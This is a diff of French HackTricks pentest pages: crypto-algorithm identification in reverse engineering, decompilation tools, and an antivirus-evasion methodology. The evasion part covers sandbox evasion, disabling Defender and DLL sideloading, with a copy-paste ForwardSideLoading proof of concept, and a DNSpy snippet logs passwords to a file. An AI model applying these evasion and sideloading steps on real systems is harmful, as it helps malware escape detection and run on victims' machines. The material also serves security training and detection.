Il est composé de 3 parties principales :
- **Étape d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox).
- **Étape de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long.
- **Étape XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**.
> [!TIP]
> **Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) et ensuite un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)**
### **Étape d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères)
![](<../../images/image (377).png>)
### **Étape de Brouillage :**
![](<../../images/image (378).png>)
### **Étape XOR :**
![](<../../images/image (379).png>)
## **AES (Cryptographie Symétrique)**
### **Caractéristiques**
- Utilisation de **boîtes de substitution et de tables de recherche**
- Il est possible de **distinguer AES grâce à l'utilisation de valeurs de tables de recherche spécifiques** (constantes). _Notez que la **constante** peut être **stockée** dans le binaire **ou créée** _ _**dynamiquement**._
- La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et généralement un **IV** de 16B est utilisé.
### Constantes SBox
![](<../../images/image (380).png>)
## Serpent **(Cryptographie Symétrique)**
### Caractéristiques
- Il est rare de trouver des malwares l'utilisant, mais il existe des exemples (Ursnif)
- Simple à déterminer si un algorithme est Serpent ou non en fonction de sa longueur (fonction extrêmement longue)
### Identification
Dans l'image suivante, remarquez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\
Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** :
![](<../../images/image (381).png>)
Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **très longue fonction** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ceci :
![](<../../images/image (382).png>)
Par conséquent, il est possible d'identifier cet algorithme en vérifiant le **nombre magique** et les **XOR initiaux**, en voyant une **très longue fonction** et en **comparant** certaines **instructions** de la longue fonction **avec une implémentation** (comme le décalage à gauche de 7 et la rotation à gauche de 22).
## RSA **(Cryptographie Asymétrique)**
### Caractéristiques
- Plus complexe que les algorithmes symétriques
- Il n'y a pas de constantes ! (les implémentations personnalisées sont difficiles à déterminer)
- KANAL (un analyseur cryptographique) ne parvient pas à montrer des indices sur RSA car il repose sur des constantes.
### Identification par comparaisons
![](<../../images/image (383).png>)
- À la ligne 11 (gauche), il y a un `+7) >> 3` qui est le même qu'à la ligne 35 (droite) : `+7) / 8`
- La ligne 12 (gauche) vérifie si `modulus_len < 0x040` et à la ligne 36 (droite), elle vérifie si `inputLen+11 > modulusLen`
## MD5 & SHA (hachage)
### Caractéristiques
- 3 fonctions : Init, Update, Final
- Fonctions d'initialisation similaires
### Identifier
**Init**
Vous pouvez identifier les deux en vérifiant les constantes. Notez que le sha_init a 1 constante que MD5 n'a pas :
![](<../../images/image (385).png>)
**Transformation MD5**
Notez l'utilisation de plus de constantes
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (hachage)
- Plus petit et plus efficace car sa fonction est de trouver des changements accidentels dans les données
- Utilise des tables de recherche (vous pouvez donc identifier des constantes)
### Identifier
Vérifiez les **constantes de la table de recherche** :
![](<../../images/image (387).png>)
Un algorithme de hachage CRC ressemble à :
![](<../../images/image (386).png>)
## APLib (Compression)
### Caractéristiques
- Pas de constantes reconnaissables
- Vous pouvez essayer d'écrire l'algorithme en python et rechercher des choses similaires en ligne
### Identifier
Le graphique est assez grand :
![](<../../images/image (207) (2) (1).png>)
Vérifiez **3 comparaisons pour le reconnaître** :
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Guide de Décompilation Wasm et Compilation Wat
Dans le domaine de **WebAssembly**, les outils pour **décompiler** et **compiler** sont essentiels pour les développeurs. Ce guide présente quelques ressources en ligne et logiciels pour gérer les fichiers **Wasm (WebAssembly binaire)** et **Wat (WebAssembly texte)**.
## Outils en Ligne
- Pour **décompiler** Wasm en Wat, l'outil disponible sur [la démo wasm2wat de Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) est très utile.
- Pour **compiler** Wat en Wasm, [la démo wat2wasm de Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) remplit cet objectif.
- Une autre option de décompilation peut être trouvée sur [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
## Solutions Logicielles
- Pour une solution plus robuste, [JEB de PNF Software](https://www.pnfsoftware.com/jeb/demo) offre des fonctionnalités étendues.
- Le projet open-source [wasmdec](https://github.com/wwwg/wasmdec) est également disponible pour des tâches de décompilation.
# Ressources de Décompilation .Net
La décompilation des assemblies .Net peut être réalisée avec des outils tels que :
- [ILSpy](https://github.com/icsharpcode/ILSpy), qui propose également un [plugin pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), permettant une utilisation multiplateforme.
- Pour des tâches impliquant **décompilation**, **modification** et **recompilation**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) est fortement recommandé. **Un clic droit** sur une méthode et le choix de **Modifier la méthode** permettent des modifications de code.
- [dotPeek de JetBrains](https://www.jetbrains.com/es-es/decompiler/) est une autre alternative pour décompiler des assemblies .Net.
## Amélioration du Débogage et de la Journalisation avec DNSpy
### Journalisation DNSpy
Pour enregistrer des informations dans un fichier en utilisant DNSpy, incorporez le snippet de code .Net suivant :
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Mot de passe: " + password + "\n");
%%%
### Débogage DNSpy
Pour un débogage efficace avec DNSpy, une séquence d'étapes est recommandée pour ajuster les **attributs d'assembly** pour le débogage, en s'assurant que les optimisations qui pourraient entraver le débogage sont désactivées. Ce processus inclut le changement des paramètres `DebuggableAttribute`, la recompilation de l'assembly et l'enregistrement des modifications.
De plus, pour déboguer une application .Net exécutée par **IIS**, exécuter `iisreset /noforce` redémarre IIS. Pour attacher DNSpy au processus IIS pour le débogage, le guide indique de sélectionner le processus **w3wp.exe** dans DNSpy et de commencer la session de débogage.
Pour une vue complète des modules chargés pendant le débogage, il est conseillé d'accéder à la fenêtre **Modules** dans DNSpy, suivie de l'ouverture de tous les modules et du tri des assemblies pour une navigation et un débogage plus faciles.
Ce guide encapsule l'essence de la décompilation WebAssembly et .Net, offrant un chemin pour les développeurs afin de naviguer ces tâches avec aisance.
## **Décompilateur Java**
Pour décompiler le bytecode Java, ces outils peuvent être très utiles :
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **Débogage des DLLs**
### Utilisation d'IDA
- **Rundll32** est chargé à partir de chemins spécifiques pour les versions 64 bits et 32 bits.
- **Windbg** est sélectionné comme débogueur avec l'option de suspendre lors du chargement/déchargement de la bibliothèque activée.
- Les paramètres d'exécution incluent le chemin de la DLL et le nom de la fonction. Cette configuration interrompt l'exécution lors du chargement de chaque DLL.
### Utilisation de x64dbg/x32dbg
- Semblable à IDA, **rundll32** est chargé avec des modifications de ligne de commande pour spécifier la DLL et la fonction.
- Les paramètres sont ajustés pour interrompre à l'entrée de la DLL, permettant de définir un point d'arrêt au point d'entrée de la DLL souhaité.
### Images
- Les points d'arrêt d'exécution et les configurations sont illustrés par des captures d'écran.
## **ARM & MIPS**
- Pour l'émulation, [arm_now](https://github.com/nongiach/arm_now) est une ressource utile.
## **Shellcodes**
### Techniques de Débogage
- **Blobrunner** et **jmp2it** sont des outils pour allouer des shellcodes en mémoire et les déboguer avec Ida ou x64dbg.
- Blobrunner [versions](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [version compilée](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter** offre une émulation et une inspection de shellcode basées sur une interface graphique, mettant en évidence les différences dans le traitement des shellcodes en tant que fichier par rapport à un shellcode direct.
### Déobfuscation et Analyse
- **scdbg** fournit des informations sur les fonctions de shellcode et les capacités de déobfuscation.
%%%bash
scdbg.exe -f shellcode # Infos de base
scdbg.exe -f shellcode -r # Rapport d'analyse
scdbg.exe -f shellcode -i -r # Hooks interactifs
scdbg.exe -f shellcode -d # Dump du shellcode décodé
scdbg.exe -f shellcode /findsc # Trouver l'offset de départ
scdbg.exe -f shellcode /foff 0x0000004D # Exécuter à partir de l'offset
%%%
- **CyberChef** pour désassembler le shellcode : [recette CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- Un obfuscateur qui remplace toutes les instructions par `mov`.
- Les ressources utiles incluent une [explication YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) et des [diapositives PDF](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
- **demovfuscator** pourrait inverser l'obfuscation de movfuscator, nécessitant des dépendances comme `libcapstone-dev` et `libz3-dev`, et l'installation de [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
## **Delphi**
- Pour les binaires Delphi, [IDR](https://github.com/crypto2011/IDR) est recommandé.
# Cours
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Déobfuscation binaire\)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Antivirus (AV) Bypass
# Contournement des Antivirus (AV)
{{#include ../banners/hacktricks-training.md}}
@ -6,88 +6,88 @@
## Arrêter Defender
- [defendnot](https://github.com/es3n1n/defendnot): Un outil pour empêcher Windows Defender de fonctionner.
- [no-defender](https://github.com/es3n1n/no-defender): Un outil pour empêcher Windows Defender de fonctionner en se faisant passer pour un autre AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
- [defendnot](https://github.com/es3n1n/defendnot) : Un outil pour empêcher Windows Defender de fonctionner.
- [no-defender](https://github.com/es3n1n/no-defender) : Un outil pour empêcher Windows Defender de fonctionner en simulant un autre AV.
- [Désactiver Defender si vous êtes admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
## **Méthodologie d'évasion AV**
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non : static detection, dynamic analysis, et pour les EDR plus avancés, behavioural analysis.
Actuellement, les AVs utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non : détection statique, analyse dynamique, et pour les EDRs les plus avancés, analyse comportementale.
### **Static detection**
### **Détection statique**
La static detection se fait en signalant des chaînes connues ou des séquences d'octets dans un binaire ou un script, et aussi en extrayant des informations depuis le fichier lui-même (par ex. file description, company name, digital signatures, icon, checksum, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, puisqu'ils ont probablement déjà été analysés et signalés comme malveillants. Il existe plusieurs façons de contourner ce type de détection :
La détection statique consiste à signaler des chaînes connues ou des suites d'octets dans un binaire ou un script, et aussi à extraire des informations depuis le fichier lui-même (par ex. description du fichier, nom de l'entreprise, signatures digitales, icône, somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement déjà été analysés et signalés comme malveillants. Il existe plusieurs façons de contourner ce type de détection :
- **Encryption**
Si vous cryptez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un loader pour décrypter et exécuter le programme en mémoire.
Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un loader pour déchiffrer et exécuter le programme en mémoire.
- **Obfuscation**
Parfois, il suffit de changer certaines chaînes dans votre binaire ou script pour passer à travers l'AV, mais cela peut être chronophage selon ce que vous essayez d'obfusquer.
Parfois, il suffit de modifier quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage selon ce que vous essayez d'obfusquer.
- **Custom tooling**
Si vous développez vos propres outils, il n'y aura pas de signatures connues, mais cela demande beaucoup de temps et d'efforts.
> [!TIP]
> Une bonne manière de vérifier la static detection de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il découpe essentiellement le fichier en plusieurs segments puis demande à Defender de scanner chacun séparément ; de cette façon, il peut vous indiquer exactement quelles chaînes ou quels octets sont signalés dans votre binary.
> Une bonne méthode pour vérifier la détection statique par Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il découpe essentiellement le fichier en plusieurs segments puis demande à Defender de scanner chacun individuellement ; de cette façon, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire.
Je vous recommande vivement de consulter cette [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion AV pratique.
### **Dynamic analysis**
### **Analyse dynamique**
La dynamic analysis consiste à exécuter votre binaire dans un sandbox et à observer les activités malveillantes (par ex. tenter de décrypter et lire les mots de passe du navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate, mais voici quelques techniques pour échapper aux sandboxes.
L'analyse dynamique consiste à exécuter votre binaire dans un sandbox et à surveiller les activités malveillantes (par ex. tenter de déchiffrer et lire les mots de passe du navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate, mais voici quelques techniques pour échapper aux sandboxes.
- **Sleep before execution** Selon la manière dont c'est implémenté, cela peut être un excellent moyen de contourner la dynamic analysis des AV. Les AV disposent d'un temps très court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser des sleeps longs peut perturber l'analyse des binaires. Le problème est que de nombreux sandboxes des AV peuvent simplement sauter le sleep selon l'implémentation.
- **Checking machine's resources** Habituellement, les Sandboxes disposent de très peu de ressources (par ex. < 2GB RAM), sinon ils risqueraient de ralentir la machine de l'utilisateur. Vous pouvez aussi être très créatif ici, par exemple en vérifiant la température du CPU ou même la vitesse des ventilateurs ; tout ne sera pas implémenté dans le sandbox.
- **Machine-specific checks** Si vous voulez cibler un utilisateur dont la station de travail est jointe au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui spécifié ; si ce n'est pas le cas, vous pouvez faire quitter votre programme.
- **Sleep avant l'exécution** Selon l'implémentation, cela peut être un excellent moyen de contourner l'analyse dynamique des AVs. Les AVs disposent d'un temps très court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs sleeps peut perturber l'analyse des binaires. Le problème est que de nombreux sandboxes des AVs peuvent simplement ignorer le sleep selon la façon dont il est implémenté.
- **Vérification des ressources de la machine** Habituellement, les sandboxes disposent de très peu de ressources (par ex. < 2GB RAM), sinon ils risqueraient de ralentir la machine de l'utilisateur. Vous pouvez aussi être très créatif ici, par exemple en vérifiant la température du CPU ou même la vitesse des ventilateurs ; tout n'est pas forcément implémenté dans le sandbox.
- **Vérifications spécifiques à la machine** Si vous voulez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié ; si ce n'est pas le cas, vous pouvez faire quitter votre programme.
Il s'avère que le nom d'ordinateur du Sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation ; si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du sandbox de Defender, vous pouvez donc faire quitter votre programme.
Il se trouve que le nom de l'ordinateur dans le sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation ; si le nom correspond à HAL9TH, cela signifie que vous êtes dans le sandbox de Defender, vous pouvez alors faire quitter votre programme.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Voici quelques autres excellents conseils de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les Sandboxes
Quelques autres très bons conseils de [@mgeeky](https://twitter.com/mariuszbit) pour s'opposer aux Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Comme dit précédemment dans ce post, les outils publics finiront par être détectés, donc vous devriez vous poser la question suivante :
Comme nous l'avons dit plus haut dans cet article, les **outils publics** finiront par **être détectés**, donc vous devriez vous poser une question :
Par exemple, si vous voulez dumper LSASS, avez-vous vraiment besoin d'utiliser mimikatz ? Ou pourriez-vous utiliser un autre projet moins connu qui fait aussi le dump de LSASS.
Par exemple, si vous voulez dumper LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui dump aussi LSASS.
La bonne réponse est probablement la seconde. Prenons mimikatz en exemple : c'est probablement l'un des projets, si ce n'est le plus, signalés par les AV et EDR ; bien que le projet soit super intéressant, c'est aussi un cauchemar pour contourner les AV, donc cherchez des alternatives pour ce que vous voulez accomplir.
La bonne réponse est probablement la seconde. Prenons mimikatz comme exemple : c'est probablement l'un des, si ce n'est le plus, éléments signalés par les AVs et les EDRs ; bien que le projet soit super cool, c'est aussi un cauchemar pour le travailler afin de contourner les AVs, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
> [!TIP]
> Lorsque vous modifiez vos payloads pour l'évasion, assurez-vous de désactiver la soumission automatique d'échantillons dans Defender, et s'il vous plaît, sérieusement, **DO NOT UPLOAD TO VIRUSTOTAL** si votre objectif est d'obtenir de l'évasion sur le long terme. Si vous voulez vérifier si votre payload est détecté par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons, et testez-y jusqu'à être satisfait du résultat.
> Lorsque vous modifiez vos payloads pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS UPLOADER SUR VIRUSTOTAL** si votre objectif est d'obtenir une évasion sur le long terme. Si vous voulez vérifier si votre payload est détecté par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons, et testez-y jusqu'à obtenir un résultat satisfaisant.
## EXEs vs DLLs
Chaque fois que c'est possible, priorisez toujours l'utilisation de DLLs pour l'évasion ; d'après mon expérience, les fichiers DLL sont généralement beaucoup moins détectés et analysés, donc c'est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre payload peut s'exécuter en tant que DLL, bien sûr).
Chaque fois que c'est possible, **priorisez l'utilisation des DLLs pour l'évasion** ; d'après mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre payload peut s'exécuter en tant que DLL bien sûr).
Comme on peut le voir sur cette image, un payload DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que le payload EXE a un taux de détection de 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
Nous allons maintenant montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus furtif.
Nous allons maintenant montrer quelques astuces que vous pouvez utiliser avec les fichiers DLL pour être beaucoup plus furtif.
## DLL Sideloading & Proxying
**DLL Sideloading** exploite l'ordre de recherche des DLL utilisé par le loader en positionnant l'application victime et le(s) payload(s) malveillant(s) côte à côte.
Le **DLL Sideloading** profite de l'ordre de recherche des DLL utilisé par le loader en positionnant à la fois l'application victime et le(s) payload(s) malveillant(s) côte à côte.
Vous pouvez chercher des programmes susceptibles au DLL Sideloading en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant :
Vous pouvez rechercher des programmes susceptibles au DLL Sideloading en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant :
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Cette commande affichera la liste des programmes susceptibles d'être victimes de DLL hijacking à l'intérieur de "C:\Program Files\\" et les fichiers DLL qu'ils tentent de charger.
Cette commande affichera la liste des programmes susceptibles de DLL hijacking dans "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est bien exécutée, mais si vous utilisez des programmes Sideloadable connus publiquement, vous pouvez facilement vous faire attraper.
Je vous recommande vivement d'**explorer les DLL Hijackable/Sideloadable programs vous-même**, cette technique est assez discrète si elle est bien réalisée, mais si vous utilisez des DLL Sideloadable programs connus publiquement, vous pouvez être facilement repéré.
Simplement placer une DLL malveillante portant le nom attendu par un programme ne chargera pas forcément votre payload, car le programme attend certaines fonctions spécifiques dans cette DLL ; pour résoudre ce problème, nous allons utiliser une autre technique appelée **DLL Proxying/Forwarding**.
Le fait de placer une DLL malveillante portant le nom qu'un programme attend de charger ne suffit pas à exécuter votre payload, car le programme attend des fonctions spécifiques dans cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
**DLL Proxying** transfère les appels qu'un programme effectue depuis la DLL proxy (malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme et permettant d'exécuter votre payload.
**DLL Proxying** transfère les appels effectués par un programme depuis la DLL proxy (malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme tout en permettant l'exécution de votre payload.
J'utiliserai le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -98,7 +98,7 @@ Voici les étapes que j'ai suivies:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
La dernière commande nous donnera 2 fichiers : un modèle de code source DLL, et la DLL originale renommée.
La dernière commande nous donnera 2 fichiers : un modèle de code source de DLL, et la DLL d'origine renommée.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -106,25 +106,25 @@ La dernière commande nous donnera 2 fichiers : un modèle de code source DLL,
```
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Les deux, notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le proxy DLL affichent un taux de détection 0/26 sur [antiscan.me](https://antiscan.me) ! Je qualifierais cela de succès.
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Je vous recommande **vivement** de regarder [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et également [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons abordé plus en profondeur.
> Je vous recommande **vivement** de regarder [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sur DLL Sideloading et aussi [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons abordé de manière plus approfondie.
### Abuser des Forwarded Exports (ForwardSideLoading)
### Abuser des exports forwardés (ForwardSideLoading)
Windows PE modules peuvent exporter des fonctions qui sont en réalité des "forwarders" : au lieu de pointer vers du code, l'entrée d'export contient une chaîne ASCII de la forme `TargetDll.TargetFunc`. Quand un appelant résout l'export, le loader Windows va :
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
- Charger `TargetDll` s'il n'est pas déjà chargé
- Résoudre `TargetFunc` à partir de celui-ci
- Load `TargetDll` if not already loaded
- Resolve `TargetFunc` from it
Comportements clés à comprendre :
- Si `TargetDll` est un KnownDLL, il est fourni depuis l'espace de noms protégé KnownDLLs (par ex., ntdll, kernelbase, ole32).
- Si `TargetDll` n'est pas un KnownDLL, l'ordre normal de recherche des DLL est utilisé, qui inclut le répertoire du module qui effectue la résolution du forward.
- Si `TargetDll` n'est pas un KnownDLL, l'ordre de recherche normal des DLL est utilisé, qui inclut le répertoire du module qui effectue la résolution du forward.
Ceci permet une primitive de sideloading indirecte : trouvez une DLL signée qui exporte une fonction forwardée vers un nom de module non KnownDLL, puis placez cette DLL signée dans le même répertoire qu'une DLL contrôlée par l'attaquant portant exactement le même nom que le module cible forwardé. Quand l'export forwardé est invoqué, le loader résout le forward et charge votre DLL depuis le même répertoire, exécutant votre DllMain.
Ceci permet une primitive de sideloading indirecte : trouvez une DLL signée qui exporte une fonction forwardée vers un nom de module non-KnownDLL, puis placez côte à côte cette DLL signée avec une DLL contrôlée par l'attaquant nommée exactement comme le module cible forwardé. Lorsque l'export forwardé est invoqué, le loader résout le forward et charge votre DLL depuis le même répertoire, exécutant votre DllMain.
Exemple observé sur Windows 11:
```
@ -132,12 +132,12 @@ keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` n'est pas un KnownDLL, il est donc résolu via l'ordre de recherche normal.
PoC (copier-coller) :
1) Copier la DLL système signée dans un dossier accessible en écriture.
PoC (copy-paste):
1) Copier la DLL système signée dans un dossier accessible en écriture
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Placez un `NCRYPTPROV.dll` malveillant dans le même dossier. Un `DllMain` minimal suffit pour obtenir l'exécution de code ; il n'est pas nécessaire d'implémenter la fonction forwardée pour déclencher `DllMain`.
2) Déposez un `NCRYPTPROV.dll` malveillant dans le même dossier. Un DllMain minimal suffit pour obtenir l'exécution de code ; vous n'avez pas besoin d'implémenter la forwarded function pour déclencher DllMain.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -149,29 +149,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) Déclencher le forward avec un LOLBin signé:
3) Déclencher le transfert avec un LOLBin signé :
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Observed behavior:
- rundll32 (signé) charge le side-by-side `keyiso.dll` (signé)
Comportement observé :
- rundll32 (signé) charge la side-by-side `keyiso.dll` (signée)
- Lors de la résolution de `KeyIsoSetAuditingInterface`, le loader suit le forward vers `NCRYPTPROV.SetAuditingInterface`
- Le loader charge ensuite `NCRYPTPROV.dll` depuis `C:\test` et exécute son `DllMain`
- Si `SetAuditingInterface` n'est pas implémentée, vous obtiendrez une erreur "missing API" uniquement après l'exécution de `DllMain`
- Si `SetAuditingInterface` n'est pas implémentée, vous obtiendrez une erreur "missing API" seulement après que `DllMain` se soit déjà exécuté
Hunting tips:
- Concentrez-vous sur les exports forwardés dont le module cible n'est pas un KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
Conseils de détection :
- Concentrez-vous sur les exports forwardés dont le module cible n'est pas un KnownDLL. KnownDLLs sont listés sous `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Vous pouvez énumérer les exports forwardés avec des outils tels que:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Consultez l'inventaire des forwarders Windows 11 pour rechercher des candidats : https://hexacorn.com/d/apis_fwd.txt
- Consulter l'inventaire des forwarders Windows 11 pour rechercher des candidats : https://hexacorn.com/d/apis_fwd.txt
Idées de détection/défense :
- Surveiller les LOLBins (par ex., rundll32.exe) chargeant des DLL signées depuis des chemins non-système, suivies du chargement de non-KnownDLLs ayant le même nom de base depuis ce répertoire
Detection/defense ideas:
- Surveiller les LOLBins (par ex., rundll32.exe) qui chargent des signed DLLs depuis des chemins non-système, puis chargent des non-KnownDLLs ayant le même base name depuis ce répertoire
- Alerter sur des chaînes processus/module comme : `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` sous des chemins accessibles en écriture par l'utilisateur
- Appliquer des politiques d'intégrité du code (WDAC/AppLocker) et interdire write+execute dans les répertoires d'application
- Appliquer des politiques d'intégrité du code (WDAC/AppLocker) et refuser write+execute dans les répertoires d'applications
## [**Freeze**](https://github.com/optiv/Freeze)
@ -187,51 +187,51 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
